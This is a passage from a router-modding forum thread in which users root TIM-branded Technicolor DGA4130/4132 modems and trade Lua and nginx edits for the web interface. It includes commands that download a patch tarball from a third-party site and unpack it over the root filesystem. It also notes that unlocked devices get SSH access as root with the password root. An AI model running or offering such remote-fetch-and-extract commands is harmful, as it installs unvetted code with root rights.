I wanted upgrade my rootet  firmware 1.1.0_002 with tim gui  to  firmware 1.1.0 . After point 1 I am loosing my ssh connecting. No connect with Winzip/Putty. The connect to the Tim gui is also failed. What can I do get rooting again?
It worked.
I have made a factory reset.
Then I had access to the Tim GUI again (without WINSCP/Putty access).
Then I startet again from Point 2) with autoflashgui, flash the firmware 1.0.3…
Now everything works including Winscp/Putty. ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 04, 2018, 03:44:28 PM
Again, thank you very much!

Now, the TIM GUI looks almost like a unified whole.

 :) :) :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: balteck on March 04, 2018, 03:46:26 PM
did you miss that ?
Code: [Select]
    server {
        # ipv4
        listen       80;
        listen       443 ssl;
        # ipv6
        listen       [::]:80;
        listen       [::]:443 ssl;

        ssl_certificate /etc/nginx/server.crt;
        ssl_certificate_key /etc/nginx/server.key;
        # based on https://wiki.mozilla.org/Security/Server_Side_TLS
        ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
        ssl_ciphers ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:!DSS;
        ssl_prefer_server_ciphers on;
        ssl_session_tickets off;
I think https is not used to access the web interface but for something else.
Exactly. If you look at 2 lines before, only HTTP is configured for web default (GUI), while HTTPS pointing to web.assistance and not configured for web.default

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Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 04, 2018, 03:47:29 PM
@onix20
i though you tried that first...anyway glad to hear that now it works.  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 04, 2018, 04:03:55 PM
Does this mean that I only need to insert this line and the WEB access via https works?

Quote
    init_worker_by_lua '
        local sessioncontrol = require("web.sessioncontrol")
        sessioncontrol.setManagerForPort("default", "80")
        sessioncontrol.setManagerForPort("default", "443")
        sessioncontrol.setManagerForPort("assistance", "443")

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 04, 2018, 04:13:13 PM
I also find the layout of the Technicolor TG789vac v2
(Smart Modem Tim) very successful.

(https://i.imgur.com/LbJmjQd.png/)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 04, 2018, 05:06:50 PM
just add a <br>

ngx.print('<p class="subinfos"><br>')

The distance between the lines created with <br> is much too large. If I use <p> (at the same place) instead, I get the right distance. Unfortunately, everything will then be pushed forward. Something's wrong, what other options are there?

 :)

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 04, 2018, 05:42:17 PM
better not turn this topic into an HTML CSS discussion  :-\ it doesn't really matter if it is at the top or at the bottom...it is like it is, the important is what it says.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 05, 2018, 01:49:29 PM
i tried to add the code asked by eclp but my result is only this:

(https://s18.postimg.org/9aq2pmwk9/Senza_titolo-1.png)

And i had to cancel this string:           
Code: [Select]
ngx.print(format('%s : <strong id="relaysetupcard_lanip">%s</strong></br>', T"LAN IP", relay_Params["uci_lan_ip"]))
if i put this string, GUI doesn't appear entirely
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 05, 2018, 06:00:27 PM
:-\ it doesn't really matter if it is at the top or at the bottom...it is like it is, the important is what it says.

But then it would be flawlessly perfect.

Also with you, Ivymike, the gap is much too big. In the "old" code, the spacing is strangely correct even without <br>, with <p> at least the spacing is correct, but then the lower lines are moved to the left.

Example of the correct spacing between the lines:

(https://i.imgur.com/l0ZrgvA.png)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 05, 2018, 06:05:25 PM
i was trying but without success... then i solved putting 018_relaysetup.lp from shdf GUI.

(https://s18.postimg.org/q05aqzusp/Senza_titolo-1.png)

I've notice that i lost "show advanced" in every sub cards, all option are visible...  :-\
How can i resolve?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 05, 2018, 06:55:44 PM
 ;D

Here is the correct code (018_relaysetup.lp):

Code: [Select]
  ngx.print('\r\
<div class="span3">\r\
    <div class="smallcard">\r\
      ');  ngx.print( ui_helper.createCardHeader(T"Relay Setup", "modals/relay-modal.lp") ); ngx.print('\r\
      <div class="content">')
ngx.print(ui_helper.createSimpleLight(nil, dhcp_state_map[dhcprelay_state] , { light = { class = dhcp_light_map[dhcprelay_state], id = "relaysetupcard_dhcprelaystatusled" },  span = { id = "relaysetupcard_dhcprelaystatus" }}))
        ngx.print('<p class="subinfos">')
           ngx.print(format('<p class = "subinfos" >%s : <strong id=\"relaysetupcard_pppstatus\">%s</strong></br>', T"PPP status", T"Not configured"))
           ngx.print(format('%s : <strong id="relaysetupcard_lanip">%s</strong></br>', T"LAN IP", relay_Params["uci_lan_ip"]))   
           ngx.print('\r\
        </p>\r\
        '); 
        if relay_Params["uci_relay_status"] == "1" then
          ngx.print(format('<p class = "subinfos" > Relay IP : <strong id="relaysetupcard_relayip">%s</strong></p>',relay_Params["uci_relay_ip"] ))
        end
          ngx.print('\r\
     </div>\r\
    </div>\r\
</div>\r\
'); 
end
  ngx.print('\r\
');

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 06, 2018, 11:17:59 AM
Thank you @eclp... can you help me with my problem? "show advanced" tabs have disappear
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 06, 2018, 11:55:05 AM
you see that it disappear but you didn't see that the page is displayed in advanced mode automaticaly  ;D?

this is the reason, in /etc/config/web

Quote
config uiconfig 'uidefault'
   option nsplink 'http://www.technicolor.com'
   option defaultuser 'admin'
   option upgradefw '1'
   option alwaysadvanced '1'
set it to '0' if you like to click on the buttons  ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 06, 2018, 12:28:25 PM
you see that it disappear but you didn't see that the page is displayed in advanced mode automaticaly  ;D?

this is the reason, in /etc/config/web
set it to '0' if you like to click on the buttons  ;D

yes i did but i didn't mention it.
I'll try, it's all for knowledge, didn't seem i have touched that file...   :-\
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 06, 2018, 12:45:37 PM
it's work  :)

you're very expert shdf... i can't believe you cannot solve 2,4 wifi issues


EDIT: i've problem with aria... by browser it's disconnected only with firefox but every option is correct, if i use AGTEF program or IE... it's connected.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 06, 2018, 05:49:23 PM
isn't it a chrome problem since their last update ? i think the problem is the chrome cache...even when my modem is shut down chrome show me the aria interface (even when i refresh the page !!) when i go to http://192.168.1.1/aria  :lol: this should not be possible.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 06, 2018, 07:29:16 PM
firefox no chrome, but does like chrome, i tried to erase cache but nothing
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 07, 2018, 08:34:00 AM
Meanwhile i'm downloading, i cannot load aria page, it's freezing for a few minutes

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 07, 2018, 09:02:56 AM
the CPU is overloaded maybe ?
i noticed with 5 torrents @full speed the router is very slow and the cpu load is very high. By the way i added this to see the Cpu load :
(https://i.imgur.com/JOqQ0EX.png)

001_gateway.lp
Code: [Select]
--pretranslated: do not change this file
 
-- Enable localization
gettext.textdomain('webui-core')
 
local proxy = require("datamodel")
local ui_helper = require("web.ui_helper")
local content_helper = require("web.content_helper")
 
local find, sub = string.find, string.sub
local floor, ipairs = math.floor, ipairs
local format = string.format
 
-- Non-configurable data
local content = {
  software_name = "uci.version.version.@version[0].marketing_name",
  software_version = "uci.version.version.@version[0].marketing_version",
  factory_id = "uci.env.rip.factory_id",
  serial_number = "uci.env.rip.serial",
}
 
content_helper.getExactContent(content)
 
content["uptime"] = content_helper.readfile("/proc/uptime","number",floor)
 
local name = proxy.get("uci.env.var.friendly_sw_version_activebank")
if name then
    name = name[1].value
    name = name:gsub("_"," ")
else
    name = ""
end
 
local board = proxy.get("uci.env.rip.board_mnemonic")
if board then
    board = board[1].value
else
    board = ""
end

content["loadavg"] = content_helper.readfile("/proc/loadavg","string")
loadavg = string.sub(content["loadavg"],1,14)
 
-- Construct an uptime string from the number of seconds
local function secondsToTime(uptime)
  local days =  floor(uptime / 86400)
  local hours =  floor(uptime / 3600) % 24
  local minutes = floor(uptime / 60) % 60
  local seconds = uptime % 60
  if (days > 0) then
    return format(T"%ddays %dhours %dmin", days, hours, minutes)
  elseif (hours > 0) then
    return format(T"%dhours %dmin %dsec", hours, minutes, seconds)
  elseif (minutes > 0) then
    return format(T"%dmin %dsec", minutes, seconds)
  else
    return format(T"%dsec", seconds)
  end
end
 
local session = ngx.ctx.session
if session:hasAccess("/modals/gateway-modal.lp") then
 
local headerAttr = {
    icon = {
        class = "icon-cogs"
    }
}
 
  ngx.print('\
<div class="span3">\
 <div class="smallcard">\
   ');  ngx.print( ui_helper.createCardHeader(T"Gateway", "modals/gateway-modal.lp", nil, nil, headerAttr) ); ngx.print('\
   <div class="content">\
     <div class="light green"></div>\
     <p>');  ngx.print( T"Version: " ); ngx.print(' <strong>');  ngx.print( content.software_name .. " (" .. content.software_version .. ")" ); ngx.print('</strong></br>\
     <span class="subinfos">');  ngx.print( T"Firmware: " ); ngx.print(' '); ngx.print('<b>'); ngx.print( name ); ngx.print('</b>'); ngx.print('</span>\
      <p class="subinfos">');  ngx.print( T"CPU Load: " ); ngx.print(' '); ngx.print('<b>'); ngx.print( loadavg ); ngx.print('</b>'); ngx.print('</br>\
     ');  ngx.print( T"Uptime: " ); ngx.print(' <b>');  ngx.print( secondsToTime(content["uptime"]) ); ngx.print('</b></p>\
     <div data-toggle="modal" data-remote="modals/gateway-modal.lp" data-id="gateway-modal">\
     </div>\
   </div>\
 </div>\
</div>\
'); 
end
  ngx.print('\
');
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 07, 2018, 09:41:25 AM
Cool.
The current CPU frequency display in percent would still be interesting for the tile.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 07, 2018, 10:00:01 AM
Cool.
The current CPU frequency display in percent would still be interesting for the tile.

 :)

True  ::)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 07, 2018, 10:08:40 AM
"The current CPU frequency display"
what is this ?  ???
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 07, 2018, 10:14:20 AM
"The current CPU frequency display"
what is this ?  ???

i think he wanted say... instead 0.11 0.12. 0.44 for example, to have 11% 12% 44%, if it's possible
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 07, 2018, 10:19:15 AM
Yes, right.

I just don't know what a CPU is at all, I assume dual-core?

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 07, 2018, 10:21:09 AM
http://blog.scoutapp.com/articles/2009/07/31/understanding-load-averages
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 07, 2018, 12:10:22 PM
mpstat command by telnet showing CPU %usr.

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 07, 2018, 02:00:30 PM
i didn't see my pendrive connected on router by PC.  :'(


If i reset my modem, i lose all my GUI personalization?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 07, 2018, 07:44:49 PM
yes. you don't have a backup ? just copy your /www in your PC.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 07, 2018, 07:59:15 PM
Here's a clean code.  ;D

Who would like can of course <strong> customize. Thanks to shdf for the great idea!

001_gateway.lp

Code: [Select]
--pretranslated: do not change this file
 
-- Enable localization
gettext.textdomain('webui-core')
 
local proxy = require("datamodel")
local ui_helper = require("web.ui_helper")
local content_helper = require("web.content_helper")
 
local find, sub = string.find, string.sub
local floor, ipairs = math.floor, ipairs
local format = string.format
 
-- Non-configurable data
local content = {
  software_name = "uci.version.version.@version[0].marketing_name",
  software_version = "uci.version.version.@version[0].marketing_version",
  factory_id = "uci.env.rip.factory_id",
  serial_number = "uci.env.rip.serial",
}
 
content_helper.getExactContent(content)
 
content["uptime"] = content_helper.readfile("/proc/uptime","number",floor)
 
local name = proxy.get("uci.env.var.friendly_sw_version_activebank")
if name then
    name = name[1].value
    name = name:gsub("_"," ")
else
    name = ""
end
 
local board = proxy.get("uci.env.rip.board_mnemonic")
if board then
    board = board[1].value
else
    board = ""
end

content["loadavg"] = content_helper.readfile("/proc/loadavg","string")
loadavg = string.sub(content["loadavg"],1,14)

-- Construct an uptime string from the number of seconds
local function secondsToTime(uptime)
  local days =  floor(uptime / 86400)
  local hours =  floor(uptime / 3600) % 24
  local minutes = floor(uptime / 60) % 60
  local seconds = uptime % 60
  if (days > 0) then
    return format(T"%ddays %dhours %dmin", days, hours, minutes)
  elseif (hours > 0) then
    return format(T"%dhours %dmin %dsec", hours, minutes, seconds)
  elseif (minutes > 0) then
    return format(T"%dmin %dsec", minutes, seconds)
  else
    return format(T"%dsec", seconds)
  end
end

local session = ngx.ctx.session
if session:hasAccess("/modals/gateway-modal.lp") then

local headerAttr = {
    icon = {
        class = "icon-cogs"
    }
}

  ngx.print('\
<div class="span3">\
  <div class="smallcard">\
    ');  ngx.print( ui_helper.createCardHeader(T"Gateway", "modals/gateway-modal.lp", nil, nil, headerAttr) ); ngx.print('\
    <div class="content">\
      <div class="light green"></div>\
      <p><strong>');  ngx.print( T"Version" ); ngx.print('</strong> ');  ngx.print( content.software_name .. " (" .. content.software_version .. ")" ); ngx.print('</p>\
      <p class="subinfos"><strong>');  ngx.print( T"Release " ); ngx.print('</strong> ');  ngx.print( name ); ngx.print('</p>\
      <p class="subinfos"><strong>');  ngx.print( T"CPU Load " ); ngx.print('</strong> '); ngx.print( loadavg ); ngx.print('</p>\
      <p class="subinfos"><strong>');  ngx.print( T"Uptime " ); ngx.print('</strong> ');  ngx.print( secondsToTime(content["uptime"]) ); ngx.print('</p>\
      <div data-toggle="modal" data-remote="modals/gateway-modal.lp" data-id="gateway-modal">\
      </div>\
    </div>\
  </div>\
</div>\
'); 
end
  ngx.print('\
');


 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 07, 2018, 08:18:40 PM
Personnaly i prefer when firmware related things and cpu related things are separated by a gap, and when the value is in bold (which is the important thing) not the title. ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 07, 2018, 08:39:53 PM
Personnaly i prefer when firmware related things and cpu related things are separated by a gap, and when the value is in bold (which is the important thing) not the title. ;D
True... this is mine at this moment  :)

(https://s14.postimg.org/kcar7obch/Senza_titolo-1.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 07, 2018, 08:50:03 PM
Personnaly i prefer when firmware related things and cpu related things are separated by a gap, and when the value is in bold (which is the important thing) not the title. ;D

In retrospect, I have to agree with you!  ;D

Sometimes other people are right ...  :cool:

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 09, 2018, 08:42:40 AM
here... Ansuel is back in the other forum and this thread abbandoned  :'(

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 09, 2018, 08:57:43 AM
Well hopefully he will not suddenly disappear again without a trace...  I think he's a terminator.  ::)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on March 09, 2018, 09:38:40 AM
ahahahaha anyway the gui is here... if someone want to report any bug or want to push any changes, np for me ;)

https://github.com/Ansuel/tch-nginx-gui
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 09, 2018, 10:42:52 AM
ahahahaha anyway the gui is here... if someone want to report any bug or want to push any changes, np for me ;)

https://github.com/Ansuel/tch-nginx-gui
Nice to meet you Ansuel... i have banned from ilpuntotecnico (bad forum i have to repeat) and i didn't have time to meet you

I have a my personalized GUI...you will have seen it
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on March 09, 2018, 10:44:29 AM
Nice to meet you Ansuel... i have banned from ilpuntotecnico (bad forum i have to repeat) and i didn't have time to meet you

I have a my personalized GUI...you will have seen it
what how? feel free to merge share the changes if you want
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 09, 2018, 11:10:23 AM
what how? feel free to merge share the changes if you want

of course... this is a .rar of my GUI and i'll put here, so you could see what is good and what not

http://www.mediafire.com/file/p8jgkapu25adn0p/dga4132_ivy_LAST.rar

Remember that 'm a noob and up until 2 months ago I had never seen this modem before or worked on it

From a few days, i don't see my modem form PC's net and then either pendrive
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 10, 2018, 02:50:33 PM
Cosmetic small things:

(https://i.imgur.com/adlS7wJ.png)

/www/cards

Missing in 010_lte.lp --> margin-left: 20px (Line 79)
Code: [Select]
<div style="height: 25px; margin-left: 20px" data-bind="visible: deviceStatus().length > 0">\
and in

(https://i.imgur.com/qQ61c3m.png)

/www/snippets

broadband-vlan.lp --> a space is missing (Line 229); (behind Device)
Code: [Select]
liste = { {"devnot", "Device &nbsp;"},
And if you want to turn off nginx error or warning messages, you can change the line (5) in nginx.conf:

Code: [Select]
error_log   syslog:server=unix:/dev/log,facility=daemon,nohostname crit;
 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 10, 2018, 03:59:07 PM
Not all people use the DGA's as routers (as I do, for example), but you still want to have all the tiles in bridge mode. The correct connection for the bridge mode is missing for the "Internet Access" tile. It would be nice if it wasn't hardcoded like here:
 :-\ :no:
(https://i.imgur.com/swG3xWP.png)

That would be fantastic:
 ;D
(https://i.imgur.com/c8fuixv.png)

That's where professionals have to work ... we (the Bridge-Mode users) are grateful for any help!

 :)

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 10, 2018, 08:03:24 PM
@eclp
thanks  :)

i din't understand what you were asking about the bridge
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 10, 2018, 08:21:46 PM
Well, you know how I integrated the green light into the 003_internet_bridged.lp.
It would be fantastic if it wouldn't just work hardcoded. I can't do that, though. The 003_internet_bridged.lp seems incomplete. Take a look at 003_internet_pppoe_routed.lp (/www/cards/snippets) for example.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 10, 2018, 09:00:51 PM
you should ask to ansuel  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Dad-Of-5 on March 12, 2018, 01:50:08 PM

 :( sooooooooo..... it appears the DGA4130/4132 may not be ITU-T G.9700/9701 (G.Fast UK) compliant after all? Unless some one's got more info/an update on that??
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on March 12, 2018, 02:24:01 PM
:( sooooooooo..... it appears the DGA4130/4132 may not be ITU-T G.9700/9701 (G.Fast UK) compliant after all? Unless some one's got more info/an update on that??

Neither supports G.Fast, definitely.
The 1st post of this thread was updated last week to reflect that.
My guess is someone mixed up VPlus and G.Fast. Either that or wrongly assumed because the BCM63138 supports it that these modems would.
Just because a modem chipset supports an xdsl standard doesn't mean the modem with that chipset does.

http://forum.kitz.co.uk/index.php/topic,20343.msg366705.html#msg366705
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Dad-Of-5 on March 12, 2018, 10:22:45 PM
right guys you were fore warned so here gooes need help...
DGA4132 got its showing firmware Release AGTHP_1.1.0
1. Is that the correct firmware it should be displaying?
2. I can connect with putty but i can't with winscp.... i get "Connection has been unexpectedly closed. Server sent command exit status 127"...

 help...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Dad-Of-5 on March 12, 2018, 10:57:39 PM
OK never mind.... I was using wrong protocol.... switched from SFTP to SCP and it connected
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Dad-Of-5 on March 12, 2018, 11:26:46 PM
weeeeeelll.... i just gone done unlocked my DGA4312 it seems to be up and running finally!... i cant believe it. time for a beer.... but ill be back with more questions so don't breathe out just yet people... 
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 13, 2018, 07:12:01 AM
looks like you just took the latest @48€ now the price is over 100€  in italy : https://www.amazon.it/MODEM-ROUTER-TIM-ADSL2-EVDSL/dp/B00AT8MKYC
if you try to get one @48€ from france it doesn't work anymore, it shows 2 in stock but you can't buy them...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 13, 2018, 07:27:02 AM
New devices are coming in early April.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 13, 2018, 09:53:12 AM
New devices are coming in early April.

 :)

What? where did you read it?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 13, 2018, 10:41:03 AM
he speaks about new DG4132 devices on amazon, not a new TIM modem.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 13, 2018, 11:12:30 AM
That's right.  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Dad-Of-5 on March 13, 2018, 01:59:13 PM
looks like you just took the latest @48€ now the price is over 100€  in italy : https://www.amazon.it/MODEM-ROUTER-TIM-ADSL2-EVDSL/dp/B00AT8MKYC
if you try to get one @48€ from france it doesn't work anymore, it shows 2 in stock but you can't buy them...

Yeah the first one i ordered didnt show up. So between the seller (RC-TechStore), Amazon (Prime) and UPS (the tracking ref sat at label created for almost a week!!) it never came. Got a refund. Immeidtaely reorderd from another seller (DCK Group) and pounced on Amazon to ensure it was shipped the moment the order was generated, got here in 4 days...

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Dad-Of-5 on March 13, 2018, 02:05:20 PM
Anyway I seem to have 4132 running on the Tim unlocked: Version: Cyan (17.3) Firmware: AGTHP 1.1.0

I havent configured it yet or put it online. How do i update the GUI?
I need the modem to run in bridge mode so a GUI that "helps" with that side of configuration. My brain is mush right now otherwise i would be happy to bash on but ot took me a while to get this far....
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Dad-Of-5 on March 13, 2018, 03:09:17 PM
Its ok ran with this below:

The unlocker tool only enable SSH with user/pass root/root, and CAN (depends if you select it or not) :
- install the "tweaked" webui version 2.10 (which is embeded in the unlocker tool)
- Disable CWMPD
- Enable unencrypted import/export configuration file.

From my point of view, check everything  :)

The tool doesn't upgrade the firmware. You have to do this yourself once the new Webui 2.10 is installed, you have the possibility to upload the new firmware : AGTEF_1.0.3_CLOSED.rbi.
To upgrade to the new firmware you have to go in the GATEWAY menu here (https://i.imgur.com/QPmJQVC.png). Choose the file and click "upgrade".
Of course if you are already with the 1.0.3 firmware, there is no reason to flash the same firmware again :D, do it only if you are with the firmware 1.0.2

Upgrading to this new firmware will install once again the TIM web interface, but the modem is still rooted. So now you have to install the latest Webui 3.7 manualy from SSH.
With Winscp put the file GUI.tar.bz2 into /tmp and run these 2 commands :
bzcat /tmp/GUI.tar.bz2 | tar -C / -xvf -
/etc/init.d/rootdevice force


Be patient...Once done you can go to 192.168.1.1 and you'll see the new tweaked Webui 3.9

Since webui 2.23 you can easily update your webui from the web interface, there is a "Upgrade GUI (https://i.imgur.com/rVxz0nU.png)" button. so no need anymore to do it from SSH.

so I am now on Ansuel 5.10 GUI...
will be back with more questions in mean time, "as you were!" as thay say 
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 14, 2018, 10:18:00 PM
Some news. a new firmware 1.1.1_001 is out. They made some changes to disable the use of autoflashgui to downgrade/upgrade the firmware. So, from now don't even download that firmware.

Tomorow i'll try to add in the TIM GUI the new feature Ansuel added to his GUI.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 15, 2018, 09:15:44 AM
Some news. a new firmware 1.1.1_001 is out. They made some changes to disable the use of autoflashgui to downgrade/upgrade the firmware. So, from now don't even download that firmware.

Tomorow i'll try to add in the TIM GUI the new feature Ansuel added to his GUI.

Thanks for the information.

Personally, I would be particularly interested in whether Ansuel could eliminate Nginx and Netlink alarms. If so, what would it be necessary to include in the TIM-GUI?

I also think it would be good if the uptime function could switch from the gateway tile to Internet Access.

So far I have tried in vain to integrate a switch in the mobile tile to switch it on and off without using ssh (ideally just like in the Kachel Telephony, globaltab --> Global Information).

And, not forgetting, GUI access via https would be fantastic.  ;D

All in all 1.1.0 runs very well with TIM-GUI. New functions such as Aria or other functions are rather uninteresting for me in bridge mode.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 15, 2018, 10:01:52 AM
if i remember well, nginx support something necessary (i don't remember what) that uhttpd doesn't support, so for the TIM GUI you can't use anything else. and Luci need uhttpd to work correctly. What you can do is to shutdown the TIM GUI and use Luci.

The uptime is about when the modem started, not about when your connection to internet started. For this we need to find the "internet uptime", but does it even exist ?

 
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 15, 2018, 10:10:23 AM
Just upgrader Ansuel 6.1.5 GUI and mine personalized!

(https://s9.postimg.org/l6379gz8f/Senza_titolo-1.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: balteck on March 15, 2018, 10:21:05 AM
Which ones are your personalization?

Inviato dal mio HTC One M9 utilizzando Tapatalk

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 15, 2018, 10:25:01 AM
The uptime function of Ivymike in the Internet access tile unfortunately only works for PPP connection.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: drbiggy on March 15, 2018, 10:37:09 AM
So is it possible to install luci and use it as a openwrt/lede router?

I still couldnt find out if i can use the sqm on this router.

https://wiki.openwrt.org/doc/howto/sqm
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 15, 2018, 11:09:06 AM
Which ones are your personalization?

Inviato dal mio HTC One M9 utilizzando Tapatalk

These mod and other inside like "Traffic monitor", color LED changed, advanced always showed

(https://s14.postimg.org/drv5shks1/Senza_titolo-1.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 15, 2018, 12:03:49 PM
i made a patch to overwrite some files of the Ansuel GUI. basicaly everything we developped together here.
So first Install Ansuel GUI, and then install the Patch:
Code: [Select]
wget -P /tmp http://dga4130.tk/patch_gui_ansuel.tar.gz
tar -zxvf /tmp/patch_gui_ansuel.tar.gz -C /
/etc/init.d/nginx restart

Use the Blu skin to have the GUI TIM. once selected do a CTRL+F5 to refresh the CSS in the Browser.
And in my patch Transmission is working which is actualy not the case in Ansuel GUI.

(https://i.imgur.com/FbryFNl.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 15, 2018, 12:43:56 PM
The uptime function of Ivymike in the Internet access tile unfortunately only works for PPP connection.
in bridge mode the only device that knows that there is a pppoe connection established is your router.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 15, 2018, 01:18:27 PM
I try to add "TIM Gui" but TIM icon upper left is always "Technicolor"

(https://s14.postimg.org/xy7uirfqp/Senza_titolo-2.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on March 15, 2018, 01:47:35 PM
Maybe control f5 still needed??

I haven't touched my dga4130 for a while now, looks like I have some catching up to do.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 15, 2018, 02:15:49 PM
all this stuff is useless in bridge mode...if you have something working, and just want something that works, better not touch anything  ;D

ho i'm wrong...ansuel included a DSL Driver selector in the Xdsl tile. this could be useful.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 15, 2018, 02:18:14 PM
@Ivymike
